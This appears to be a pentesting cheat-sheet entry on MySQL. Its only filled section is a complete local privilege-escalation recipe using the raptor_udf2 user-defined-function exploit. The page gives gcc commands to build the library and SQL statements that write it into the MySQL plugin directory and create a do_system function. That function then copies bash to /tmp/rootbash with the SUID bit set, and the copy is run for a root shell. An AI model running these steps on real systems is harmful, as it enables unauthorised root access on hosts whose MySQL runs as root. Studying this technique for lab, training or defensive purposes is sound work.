MySQL

Exploitation and enumeration

Enumeration

Exploitation

User Defined Functions Dynamic Library

The raptor_udf2.c from https://www.exploit-db.com/exploits/1518 can be used for local privilege escalation through MySQL run with root privileges.

gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Login to mysql using the username and password. Then run these:

use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';

Use the function to copy /bin/bash to /tmp/rootbash and set the SUID permission:

select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');

Exit out of the MySQL shell (type exit or \q and press Enter) and run the /tmp/rootbash executable with -p to gain a shell running with root privileges:

/tmp/rootbash -p